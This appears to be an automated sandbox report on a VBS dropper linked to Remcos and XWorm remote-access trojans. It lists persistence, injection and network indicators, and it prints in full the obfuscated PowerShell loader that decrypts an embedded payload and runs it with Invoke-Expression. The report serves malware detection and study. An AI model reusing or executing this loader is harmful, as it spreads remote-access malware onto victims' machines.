Malware Analysis Report

2024-11-13 18:50

Sample ID 240712-vf35rssbnm
Target package011.vbs
SHA256 a8e815c5920b41708193a747a8635f3a10d5fc933b6743177b5353a01ad76717
Tags
execution remcos xworm nutsdog persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a8e815c5920b41708193a747a8635f3a10d5fc933b6743177b5353a01ad76717

Threat Level: Known bad

The file package011.vbs was found to be: Known bad.

Malicious Activity Summary

execution remcos xworm nutsdog persistence rat trojan

Detect Xworm Payload

Suspicious use of NtCreateUserProcessOtherParentProcess

Xworm

Remcos

Blocklisted process makes network request

Checks computer location settings

Drops startup file

Executes dropped EXE

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Enumerates processes with tasklist

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Delays execution with timeout.exe

Suspicious use of SendNotifyMessage

Scheduled Task/Job: Scheduled Task

Suspicious use of FindShellTrayWindow

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-12 16:56

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-12 16:56

Reported

2024-07-12 16:59

Platform

win7-20240708-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\package011.vbs"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\package011.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI54017336715515162301463169167087CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIRVKb4AMnkcGT+1lRhDq2wGvsgxIWAbGvnAKn/KLt4ftcExS0J6PGPkyqQaBny3dqVsssrgFa+JaPcIyUhJhQXOaB/AZP4wo1wuwJ1fJM5bAu+dP//NHHKoo4LQYwoqJjzElrkfA2WmjOHFvWL5ffOYOqkyqieKwtHphpXiVovPlmhcb0S1v2ezagT2Vmks746+5Af+ygpdewM/TjYc2J8AHemy9cMo/4hrwBfp1jBWlmuXqwV9h3co0UZW0jB2dz2VZbV7ZDoKUAVBW/V3vINzl7GZvVlGcAaOXds5ExG5fwVaodCcInqFM1QQXEnjpB1tTNSugmQYYGiubBh0AMgMkHz3uXM6qIv0ggixuYCK74Zy/4zVo5/uWR4xc7I8WYOtAiUEGaVGzDMhEmCKqyokWQ34dBuQANpSwdRyhRD8OmyRroc7e65DzHz/xZp2xVjvpAf9s+ckPY41fLm71nDtpTbFFSJTdaQnBf2ATv1zPJZ6fh+fmgfgGULgO4L+ldJPmPZUEK7wMlrGaPqzzWpRMxXXSZ1MOQL68UfsjW3GzYvo0H3iocVB81r9MIiLvZX8Y0HZly/LMji9VNcU+n7ofYCBsEnXZnvmtzLxiN1Jmk6WkoLPiiJ/FsQ764Iuc/zsUDRDD9mwyrIbngZyfN4zvnDo8TaH4+JQjvHEi6qihxvdbOY1AAv/usKcWSuzvFoJVHfSDlNBhpcW1Amcnv3SDckyFR61PGwdDxtZBwHOfQYQYDGwffp/4i9pSC5BCMw0xXmbBZu+0oG7U/vdwveQVOXsd67CQBHfIhjzuZOw5YnMedohBQo5WpTwAmdw/pXaBtxLMY8XlS/3wgiEKEsNfiObdNZNF4FcWqqBcxMCM7dNBr3P7yi1z8EGs9Plxf5Y6rbRh9ytLZ0lTnzs+I3QOe8wKOkARifHeztj8fNtSPzHi0a1QONAyeZQHl6K2sYfhGZO2djiLrs2sBusjxgv1Aybwq2e/EDmJY8ujuPGYk/KxIFwlkclKozCWCN/iRjeQgcxfHRxdOibiC9UouixNm6PZLetLNaXGL5onrZ4rursfSkQGxdSFAyfTMX88eb/fBP/pfsUv+JRoM/p+ox/syG9apC2cW4zQ7VWmDX2rbidh1eApWuowRe+CZczNSZezlT02ciH0U9MTyzG5GPIXbB68wAKePzG/E/ae0IAOuc0xmtjjgMWtMk+63rlSsv8VcBPVHaofdAOWT9w4BPLj9u1uOD8I0NIex+GOYS429KoBGJ/1BMzFAf5llNPlZN2jclE2KfdQ/Q4m6c/r4yqWD5JXMw9w4dLN6WyHkifaH1Y9FDYyejX8ckzJ8WvJAVXgmmN9ip8D3qOaugY7TmUXhXm0sL/6be/YScyAGkpfEyLqalKurxcJ9ARrhQ2axllqthk732UFRnZtMMG4kKJfh15lRbGniEQNknMMo8pldrew/J8sUOJUeE3zAMZX/T1x5LrEyQ254M05a7DZL3RdtXK+w3L1WFzN4sU4xp3n7XsYE0DlbDyTz+ufNUlBo9hA/Eid5vK+cEm+618JqvKlr8dehYjfgwr3iP86K5K3O3Mo0QWnwMb/29to/5qDss0mmXGspxFn9fmTIAyq7hqMpCfmv/RUZwMG3qetlNIzb6ReZLENyvPtmeLWQOOzJd6+KM4pp/GyJ9TjB4YfixpqPD4LSZ3Eng1BBqAY8XaI4djDN8t05f8Z9BHnwBJIww9r2sUySG54n+UNhdZYetqkqNJH/bbd6D6QPiVsXgdQTUXipSGCA7W2pL/kLCf7B8PQRtmRKYasYSYwU9CoBy5zgsaBbMUzDM4HeXhwgzQSX1rR/+hu0yHHQhlHb7nfrItcI1mMzkqH0mleO5Yss8HwOwn6LnoGSacAZOgsk3+HxlKWaIPSl9o3mhbi4zAtc6/isWyXcKJIF/KGoBWCJbXspQQul0p8kBpVnLniqck6MgBIHVEEdKUIKWA+jY75yCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

Network

Country Destination Domain Proto
US 8.8.8.8:53 pastecode.dev udp
US 172.66.40.229:443 pastecode.dev tcp
US 8.8.8.8:53 c.pki.goog udp
GB 216.58.201.99:80 c.pki.goog tcp
US 8.8.8.8:53 ia803405.us.archive.org udp
US 207.241.232.195:443 ia803405.us.archive.org tcp
US 207.241.232.195:443 ia803405.us.archive.org tcp
US 207.241.232.195:443 ia803405.us.archive.org tcp
US 207.241.232.195:443 ia803405.us.archive.org tcp

Files

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\UQFHO95Z\paste1[1].txt

MD5 ad6c37ef980373e9bcbd14810fad34bc
SHA1 9c061a1b3608b7c7f1db7cd06c8246913ee11bda
SHA256 ee85057c1a562fc405d03b2b6a651612ac688dff5c9eeae88a0c1e34e17c602c
SHA512 30dc26060efcb4fd44be2d74cc4d33654ee0eb9039bd933c80b67afcc938bdba458cfa6bfc43d2ddb2f59dd6f9ddfe66951c56c61709a2dc02eac94e0e2ae97f

memory/2788-22-0x000007FEF53BE000-0x000007FEF53BF000-memory.dmp

memory/2788-23-0x000000001B670000-0x000000001B952000-memory.dmp

memory/2788-24-0x0000000001D90000-0x0000000001D98000-memory.dmp

memory/2788-25-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

memory/2788-26-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

memory/2788-27-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

memory/2788-28-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

memory/2788-29-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

memory/2788-30-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-12 16:56

Reported

2024-07-12 16:59

Platform

win10v2004-20240709-en

Max time kernel

150s

Max time network

151s

Command Line

C:\Windows\Explorer.EXE

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Remcos

rat remcos

Xworm

trojan rat xworm

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\urbyyu.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\diwdmd.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EllaScope.url C:\Windows\SysWOW64\cmd.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EllaScope.url C:\Windows\SysWOW64\cmd.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DragonflySwift.url C:\Windows\SysWOW64\cmd.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DragonflySwift.url C:\Windows\SysWOW64\cmd.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ServerSwiftX.url C:\Windows\SysWOW64\cmd.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ServerSwiftX.url C:\Windows\SysWOW64\cmd.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\germano.vbs" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3256 set thread context of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\785477\Better.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\750766\Keeps.pif N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\111702\RegAsm.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\750766\Keeps.pif N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4708 wrote to memory of 3256 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4708 wrote to memory of 3256 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3256 wrote to memory of 4900 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 3256 wrote to memory of 4900 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 3256 wrote to memory of 2376 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
PID 2376 wrote to memory of 4720 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Users\Admin\AppData\Local\Temp\urbyyu.exe
PID 2376 wrote to memory of 4720 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Users\Admin\AppData\Local\Temp\urbyyu.exe
PID 2376 wrote to memory of 4720 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Users\Admin\AppData\Local\Temp\urbyyu.exe
PID 4720 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\urbyyu.exe C:\Windows\SysWOW64\cmd.exe
PID 4720 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\urbyyu.exe C:\Windows\SysWOW64\cmd.exe
PID 4720 wrote to memory of 4584 N/A C:\Users\Admin\AppData\Local\Temp\urbyyu.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4584 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4584 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4584 wrote to memory of 4036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 4036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 4036 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 2376 wrote to memory of 636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe
PID 2376 wrote to memory of 636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe
PID 2376 wrote to memory of 636 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe
PID 4584 wrote to memory of 800 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4584 wrote to memory of 800 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4584 wrote to memory of 800 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 4584 wrote to memory of 1904 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 1904 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 1904 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 636 wrote to memory of 3196 N/A C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe C:\Windows\SysWOW64\cmd.exe
PID 636 wrote to memory of 3196 N/A C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe C:\Windows\SysWOW64\cmd.exe
PID 636 wrote to memory of 3196 N/A C:\Users\Admin\AppData\Local\Temp\vyxsmk.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 2364 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 2364 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 2364 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 4960 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 4960 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 4960 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe
PID 4584 wrote to memory of 2596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 2596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 2596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4584 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif
PID 4584 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif
PID 4584 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif
PID 4584 wrote to memory of 1568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 4584 wrote to memory of 1568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 4584 wrote to memory of 1568 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 1048 wrote to memory of 3092 N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 3092 N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 3092 N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 4256 N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 4256 N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif C:\Windows\SysWOW64\cmd.exe
PID 1048 wrote to memory of 4256 N/A C:\Users\Admin\AppData\Local\Temp\111702\Consciousness.pif C:\Windows\SysWOW64\cmd.exe
PID 3092 wrote to memory of 4532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3092 wrote to memory of 4532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3092 wrote to memory of 4532 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 3196 wrote to memory of 5000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 3196 wrote to memory of 5000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 3196 wrote to memory of 5000 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\tasklist.exe
PID 3196 wrote to memory of 1032 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\findstr.exe

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\package011.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

